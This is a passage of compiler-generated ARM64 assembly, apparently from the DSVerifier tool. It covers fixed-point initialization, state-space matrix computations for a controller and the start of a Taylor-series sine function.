ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldp x29, x30, [sp], 224
.cfi_restore 30
.cfi_restore 29
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_restore 72
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE119:
.size check_stability_closedloop, .-check_stability_closedloop
.section .rodata
.align 3
.LC34:
.string "impl.frac_bits must be less than word width!"
.align 3
.LC35:
.string "impl.int_bits must be less than word width subtracted by precision!"
.align 3
.LC36:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
.align 3
.LC37:
.string "0"
.text
.align 2
.global initialization
.type initialization, %function
initialization:
.LFB120:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
cmp w0, 31
ble .L798
adrp x0, .LC34
add x0, x0, :lo12:.LC34
bl puts
.L798:
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w2, 32
sub w0, w2, w0
cmp w1, w0
blt .L799
adrp x0, .LC35
add x0, x0, :lo12:.LC35
bl puts
adrp x0, __PRETTY_FUNCTION__.9
add x3, x0, :lo12:__PRETTY_FUNCTION__.9
mov w2, 33
adrp x0, .LC36
add x1, x0, :lo12:.LC36
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl __assert_fail
.L799:
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
cmp w0, 30
ble .L800
adrp x0, _fxp_one
add x0, x0, :lo12:_fxp_one
mov x1, 2147483647
str x1, [x0]
b .L801
.L800:
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 1
lsl w0, w1, w0
sxtw x1, w0
adrp x0, _fxp_one
add x0, x0, :lo12:_fxp_one
str x1, [x0]
.L801:
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
sub w0, w0, #1
mov w1, 1
lsl w0, w1, w0
sxtw x1, w0
adrp x0, _fxp_half
add x0, x0, :lo12:_fxp_half
str x1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 1
lsl w0, w1, w0
neg w0, w0
sxtw x1, w0
adrp x0, _fxp_minus_one
add x0, x0, :lo12:_fxp_minus_one
str x1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0]
add w0, w1, w0
sub w0, w0, #1
mov w1, 1
lsl w0, w1, w0
neg w0, w0
sxtw x1, w0
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
str x1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0]
add w0, w1, w0
sub w0, w0, #1
mov w1, 1
lsl w0, w1, w0
sub w0, w0, #1
sxtw x1, w0
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
str x1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 1
lsl w0, w1, w0
sub w0, w0, #1
sxtw x1, w0
adrp x0, _fxp_fmask
add x0, x0, :lo12:_fxp_fmask
str x1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 31
sub w0, w1, w0
mov w1, -2147483648
lsr w0, w1, w0
uxtw x1, w0
adrp x0, _fxp_imask
add x0, x0, :lo12:_fxp_imask
str x1, [x0]
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr d0, [x0]
scvtf d0, d0
adrp x0, _dbl_min
add x0, x0, :lo12:_dbl_min
str d0, [x0]
adrp x0, _dbl_min
add x0, x0, :lo12:_dbl_min
ldr d1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 1
lsl w0, w1, w0
scvtf d0, w0
fdiv d0, d1, d0
adrp x0, _dbl_min
add x0, x0, :lo12:_dbl_min
str d0, [x0]
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr d0, [x0]
scvtf d0, d0
adrp x0, _dbl_max
add x0, x0, :lo12:_dbl_max
str d0, [x0]
adrp x0, _dbl_max
add x0, x0, :lo12:_dbl_max
ldr d1, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
mov w1, 1
lsl w0, w1, w0
scvtf d0, w0
fdiv d0, d1, d0
adrp x0, _dbl_max
add x0, x0, :lo12:_dbl_max
str d0, [x0]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 40]
cmp w0, 0
beq .L802
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 40]
cmp w0, 1
bne .L803
.L802:
adrp x0, impl
add x0, x0, :lo12:impl
mov w1, 1
str w1, [x0, 40]
b .L797
.L803:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
fcmp d0, #0.0
beq .L805
adrp x0, impl
add x0, x0, :lo12:impl
ldr d1, [x0, 16]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 40]
scvtf d0, w0
fdiv d0, d1, d0
adrp x0, impl
add x0, x0, :lo12:impl
str d0, [x0, 16]
.L805:
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
fcmp d0, #0.0
beq .L797
adrp x0, impl
add x0, x0, :lo12:impl
ldr d1, [x0, 8]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 40]
scvtf d0, w0
fdiv d0, d1, d0
adrp x0, impl
add x0, x0, :lo12:impl
str d0, [x0, 8]
.L797:
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE120:
.size initialization, .-initialization
.align 2
.global double_state_space_representation
.type double_state_space_representation, %function
double_state_space_representation:
.LFB121:
.cfi_startproc
stp x29, x30, [sp, -288]!
.cfi_def_cfa_offset 288
.cfi_offset 29, -288
.cfi_offset 30, -280
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 280]
mov x1, 0
str wzr, [sp, 16]
b .L807
.L810:
str wzr, [sp, 20]
b .L808
.L809:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 24
str xzr, [x1, x0]
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 152
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L808:
ldr w0, [sp, 20]
cmp w0, 3
ble .L809
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L807:
ldr w0, [sp, 16]
cmp w0, 3
ble .L810
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 24
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 512
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 256
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 152
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 768
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 384
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 152
add x1, sp, 24
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 640
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
add x0, sp, 24
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 512
adrp x0, :got:_controller
ldr x4, [x0, #:got_lo12:_controller]
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 152
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 768
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 128
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
add x2, sp, 152
add x1, sp, 24
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 512
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr d0, [x0, 640]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 280]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L812
bl __stack_chk_fail
.L812:
ldp x29, x30, [sp], 288
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE121:
.size double_state_space_representation, .-double_state_space_representation
.align 2
.global fxp_state_space_representation
.type fxp_state_space_representation, %function
fxp_state_space_representation:
.LFB122:
.cfi_startproc
sub sp, sp, #1184
.cfi_def_cfa_offset 1184
stp x29, x30, [sp]
.cfi_offset 29, -1184
.cfi_offset 30, -1176
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1176]
mov x1, 0
str wzr, [sp, 16]
b .L814
.L817:
str wzr, [sp, 20]
b .L815
.L816:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 24
str xzr, [x1, x0]
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 152
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L815:
ldr w0, [sp, 20]
cmp w0, 3
ble .L816
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L814:
ldr w0, [sp, 16]
cmp w0, 3
ble .L817
str wzr, [sp, 16]
b .L818
.L821:
str wzr, [sp, 20]
b .L819
.L820:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 280
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L819:
ldr w0, [sp, 20]
cmp w0, 3
ble .L820
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L818:
ldr w0, [sp, 16]
cmp w0, 3
ble .L821
str wzr, [sp, 16]
b .L822
.L825:
str wzr, [sp, 20]
b .L823
.L824:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 408
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L823:
ldr w0, [sp, 20]
cmp w0, 3
ble .L824
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L822:
ldr w0, [sp, 16]
cmp w0, 3
ble .L825
str wzr, [sp, 16]
b .L826
.L829:
str wzr, [sp, 20]
b .L827
.L828:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 536
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L827:
ldr w0, [sp, 20]
cmp w0, 3
ble .L828
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L826:
ldr w0, [sp, 16]
cmp w0, 3
ble .L829
str wzr, [sp, 16]
b .L830
.L833:
str wzr, [sp, 20]
b .L831
.L832:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 664
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L831:
ldr w0, [sp, 20]
cmp w0, 3
ble .L832
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L830:
ldr w0, [sp, 16]
cmp w0, 3
ble .L833
str wzr, [sp, 16]
b .L834
.L837:
str wzr, [sp, 20]
b .L835
.L836:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 792
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L835:
ldr w0, [sp, 20]
cmp w0, 3
ble .L836
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L834:
ldr w0, [sp, 16]
cmp w0, 3
ble .L837
str wzr, [sp, 16]
b .L838
.L841:
str wzr, [sp, 20]
b .L839
.L840:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 920
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L839:
ldr w0, [sp, 20]
cmp w0, 3
ble .L840
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L838:
ldr w0, [sp, 16]
cmp w0, 3
ble .L841
str wzr, [sp, 16]
b .L842
.L845:
str wzr, [sp, 20]
b .L843
.L844:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 1048
str xzr, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L843:
ldr w0, [sp, 20]
cmp w0, 3
ble .L844
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L842:
ldr w0, [sp, 16]
cmp w0, 3
ble .L845
str wzr, [sp, 16]
b .L846
.L849:
str wzr, [sp, 20]
b .L847
.L848:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 280
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L847:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L848
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L846:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L849
str wzr, [sp, 16]
b .L850
.L853:
str wzr, [sp, 20]
b .L851
.L852:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 16
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 408
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L851:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L852
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L850:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L853
str wzr, [sp, 16]
b .L854
.L857:
str wzr, [sp, 20]
b .L855
.L856:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 32
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 536
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L855:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L856
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L854:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L857
str wzr, [sp, 16]
b .L858
.L861:
str wzr, [sp, 20]
b .L859
.L860:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 664
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L859:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L860
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L858:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L861
str wzr, [sp, 16]
b .L862
.L865:
str wzr, [sp, 20]
b .L863
.L864:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 792
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L863:
ldr w0, [sp, 20]
cmp w0, 0
ble .L864
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L862:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L865
str wzr, [sp, 16]
b .L866
.L869:
str wzr, [sp, 20]
b .L867
.L868:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 96
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 920
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L867:
ldr w0, [sp, 20]
cmp w0, 0
ble .L868
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L866:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L869
str wzr, [sp, 16]
b .L870
.L873:
str wzr, [sp, 20]
b .L871
.L872:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 80
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 1048
str x2, [x1, x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L871:
ldr w0, [sp, 20]
cmp w0, 0
ble .L872
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L870:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L873
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
add x2, sp, 24
add x1, sp, 792
add x0, sp, 536
mov x6, x2
mov x5, x1
mov x4, x0
mov w3, 1
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w9, w0
add x2, sp, 152
add x1, sp, 920
add x0, sp, 664
mov x6, x2
mov x5, x1
mov x4, x0
mov w3, 1
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 1048
add x1, sp, 152
add x0, sp, 24
mov x4, x2
mov x3, x1
mov x2, x0
mov w1, 1
mov w0, w5
bl fxp_add_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
add x2, sp, 24
add x1, sp, 792
add x0, sp, 280
mov x6, x2
mov x5, x1
mov x4, x0
mov w3, 1
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w9, w0
add x2, sp, 152
add x1, sp, 920
add x0, sp, 408
mov x6, x2
mov x5, x1
mov x4, x0
mov w3, 1
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
add x2, sp, 792
add x1, sp, 152
add x0, sp, 24
mov x4, x2
mov x3, x1
mov x2, x0
mov w1, 1
mov w0, w5
bl fxp_add_matrix
str wzr, [sp, 16]
b .L874
.L877:
str wzr, [sp, 20]
b .L875
.L876:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 792
ldr x0, [x1, x0]
bl fxp_to_double
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 64
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L875:
ldr w0, [sp, 20]
cmp w0, 0
ble .L876
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L874:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L877
str wzr, [sp, 16]
b .L878
.L881:
str wzr, [sp, 20]
b .L879
.L880:
ldrsw x0, [sp, 20]
ldrsw x1, [sp, 16]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 1048
ldr x0, [x1, x0]
bl fxp_to_double
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 20]
ldrsw x2, [sp, 16]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 80
str d0, [x0, x1, lsl 3]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L879:
ldr w0, [sp, 20]
cmp w0, 0
ble .L880
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L878:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L881
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr d0, [x0, 640]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1176]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L883
bl __stack_chk_fail
.L883:
ldp x29, x30, [sp]
add sp, sp, 1184
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE122:
.size fxp_state_space_representation, .-fxp_state_space_representation
.section .rodata
.align 3
.LC38:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision must be a positive integer. Assuming 0 precision"
.align 3
.LC39:
.string "Warning: Function sinTyl from bmc/core/filter_functions.h: Precision representation exceeded. Assuming maximum precision of 6"
.text
.align 2
.global sinTyl
.type sinTyl, %function
sinTyl:
.LFB123:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str d0, [sp, 24]
str w0, [sp, 20]
ldr d0, [sp, 24]
fmul d0, d0, d0
str d0, [sp, 48]
ldr w0, [sp, 20]
cmp w0, 0
bge .L885
adrp x0, .LC38
add x0, x0, :lo12:.LC38
bl puts
str wzr, [sp, 20]
.L885:
ldr w0, [sp, 20]
cmp w0, 0
blt .L886
str xzr, [sp, 56]
ldr d0, [sp, 56]
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 0
ble .L886
ldr d0, [sp, 24]
str d0, [sp, 56]
ldr d1, [sp, 40]
ldr d0, [sp, 56]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 1
ble .L886
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
fmov d0, 6.0e+0
ldr d1, [sp, 56]
fdiv d0, d1, d0
ldr d1, [sp, 40]
fsub d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 2
ble .L886
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 4638144666238189568
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 20]
cmp w0, 3
ble .L886
ldr d1, [sp, 56]
ldr d0, [sp, 48]
fmul d0, d1, d0
str d0, [sp, 56]
mov x0, 193514046488576
movk x0, 0x40b3, lsl 48
fmov d1, x0
ldr d0, [sp, 56]
fdiv d0, d0, d1
